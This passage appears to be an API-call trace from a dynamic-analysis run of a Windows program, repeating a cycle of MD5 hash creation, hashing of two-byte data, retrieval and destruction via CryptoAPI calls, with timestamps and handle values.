	[0086.492] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.492] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.492] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.493] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.493] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.493] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.493] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.493] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.493] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.493] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.493] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.493] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.493] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.493] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.493] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.493] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.494] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.494] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.494] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.494] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.494] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.494] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.494] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.494] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.494] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.494] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.494] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.494] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.494] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.494] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.495] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.495] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.495] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.495] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.495] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.495] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.495] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.495] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.495] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.495] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.495] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.495] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.495] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.495] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.495] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.496] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.496] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.496] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.496] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.496] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.496] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.496] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.496] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.496] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.496] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.496] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.496] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.496] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.496] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.496] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.497] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.497] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.497] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.497] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.497] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.497] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.497] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.497] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.497] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.497] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.497] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.497] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.497] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.497] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.497] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.497] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.498] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.498] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.498] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.498] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.498] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.498] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.498] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.498] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.498] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.498] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.498] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.498] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.498] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.499] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.499] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.499] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.499] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.499] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.499] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.499] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.499] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.499] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.499] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.499] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.499] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.499] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.499] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.499] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.500] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.500] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.500] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.500] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.500] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.500] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.500] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.500] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.500] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.500] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.500] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.500] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.500] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.500] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.500] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.500] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.501] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.501] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.501] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.501] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.501] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.501] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.501] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.501] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.501] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.501] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.501] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.501] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.549] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.549] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.549] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.549] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.549] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.549] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.549] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.549] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.549] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.550] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.550] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.550] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.550] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.550] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.550] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.550] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.550] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.550] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.550] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.550] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.550] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.550] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.551] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.551] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.551] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.551] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.551] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.551] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.551] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.551] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.551] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.551] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.551] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.551] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.551] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.552] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.552] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.552] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.552] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.552] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.552] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.552] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.552] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.552] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.552] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.552] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.552] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.552] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.553] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.553] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.553] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.553] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.553] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.553] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.553] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.553] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.553] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.553] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.553] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.553] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.553] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.553] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.553] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.554] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.554] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.554] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.554] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.554] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.554] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.554] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.554] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.554] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
	[0086.554] CryptHashData (hHash=0x4ed8d0, pbData=0x234018, dwDataLen=0x2, dwFlags=0x0) returned 1
	[0086.554] CryptGetHashParam (in: hHash=0x4ed8d0, dwParam=0x2, pbData=0x234048, pdwDataLen=0x2340e8, dwFlags=0x0 | out: pbData=0x234048, pdwDataLen=0x2340e8) returned 1
	[0086.554] CryptDestroyHash (hHash=0x4ed8d0) returned 1
	[0086.554] CryptCreateHash (in: hProv=0x4ed3a0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x234010 | out: phHash=0x234010) returned 1
